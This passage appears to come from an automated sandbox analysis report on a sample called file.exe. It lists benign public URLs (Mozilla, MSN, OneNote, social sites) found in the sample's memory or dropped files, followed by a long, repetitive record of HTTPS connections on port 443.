Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2542011866.0000000021A04000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2542011866.0000000021A04000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2542011866.0000000021A04000.00000004.00000020.00020000.00000000.sdmp, JKEBFBFIEHIDAAAAFHCFCGIECB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: d29c38c9-f73d-4fea-b408-d3646402cab1.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
